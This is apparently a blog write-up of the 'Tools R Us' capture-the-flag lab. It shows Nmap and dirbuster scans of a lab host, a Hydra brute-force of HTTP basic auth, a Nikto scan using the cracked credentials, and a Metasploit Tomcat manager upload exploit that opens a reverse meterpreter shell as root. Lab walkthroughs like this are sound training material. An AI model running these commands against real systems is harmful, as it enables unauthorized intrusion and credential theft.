Tools‘R’us

We’re supposed to restrict ourselves to the following tools in this CTF:

dirbuster
Hydra
Nmap
Nikto
Metasploit

It’s been a little while since I had the chance to use some of these, so let’s find out how rusty I am!

Narrative

The target is at 10.10.28.154. Visiting http://10.10.28.154 reveals a “down for maintenance” page with no other links, but with the cryptic promise that “[o]ther parts of the website is [sic] still functional…”

We’ll start off with an Nmap scan.

sudo nmap -v -oA tools-r-us -Pn -A -T4 -sS -script vuln \
          -p- 10.10.28.154

This gives the following output:

# Nmap 7.92 scan initiated Sun Jan 30 15:52:33 2022 as: nmap -v -oA tools-r-us -Pn -A -T4 -sS -script vuln -p- 10.10.28.154
Pre-scan script results:

# Nmap done at Sun Jan 30 16:14:13 2022 -- 1 IP address (1 host up) scanned in 1300.33 seconds

So, we’ve got the following ports:

22: OpenSSH (Nmap says it’s 7.2p2, but connecting to it directly reveals it to be 8.7p1)
80: Apache httpd 2.4.18
1234: Apache Tomcat + Coyote 1.1
8009: Apache Jserv 1.3

There’s a hidden /protected/ directory on port 80 that seems to be password-protected.

No obvious exploits here.

We’ll also run a scan with dirbuster (normally I use gobuster, but I’m trying to operate in the spirit of this CTF):

dirbuster \
	-l /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
	-u http://10.10.28.154

This finds the following directories:

/icons/
/icons/small/
/guidelines/
/protected/
/server-status/

Going to http://10.10.28.154/guidelines/ reveals a single message:

Hey <b>bob</b>, did you update that TomCat server?

So, that kinda does imply that Tomcat or Coyote might be vulnerable, even though I couldn’t find anything obvious on Exploit DB. I’ll come back to that.

We’ll deploy Hydra against the http-basic authentication protecting /protected/. I’ve never done this before, but a quick internet search reveals a potentially useful guide, as well as an additional walk-through clarifying how to use Hydra to crack Apache conf-based http-basic authentication. With this information in hand, we should (hopefully) be able to crack Bob’s password using the following:

hydra -l bob \
      -P ~/.local/share/red-team/wordlists/rockyou.txt \
      -f -vV http-get://10.10.28.154/protected/

I’m kinda curious what’s in /protected/. Unfortunately, the experience is kinda anti-climatic.

<center></br> <img width=150 src="protected.png"> <p>This protected page has now moved to a different port.</p> </center>

Oh well.

The CTF does direct us to look at http://10.10.28.154:1234/manager/html (using Bob’s password); that’s just the Tomcat documentation by the looks of it. But if we throw Nikto against it, we can get ourselves another flag.

nikto -Format txt \
      -host http://10.10.28.154:1234/manager/html \
      -id bob:bubbles -nossl -output tools-r-us.txt

At this point we’ve got all but two flags. The text for these imply that we can get RCE on this version of Tomcat. It looks like Apache Tomcat 7.0.88 was released on May 16, 2018. There’s no obvious vulnerability to exploit for this version, but after searching around a bit on the net I found a guide mentioning that RCE on Tomcat could be obtained via the “manager” application. And, indeed, looking at the info for the corresponding module in Metasploit (exploit/multi/http/tomcat_mgr_upload) reveals that we can obtain RCE if we have access to the /manager/html/upload component. Which we do, because /manager/html has the option to “Select WAR file to upload”.

Now, exploit/multi/http/tomcat_mgr_upload only targets 32-bit Linux, and the server is running a 64-bit build (this can also be found in /manager/html/), so we’ll use the “Java Universal” target.

use exploit/multi/http/tomcat_mgr_upload
set HttpPassword bubbles
set HttpUsername bob
set RHOSTS 10.10.28.154
set RPORT 1234
set LHOST 10.13.26.40
exploit

And we have a meterpreter shell! Running getuid reveals that we’re also running as root. Ouch.

We’ll just drop to shell in meterpreter to get the contents of /root/flag.txt.
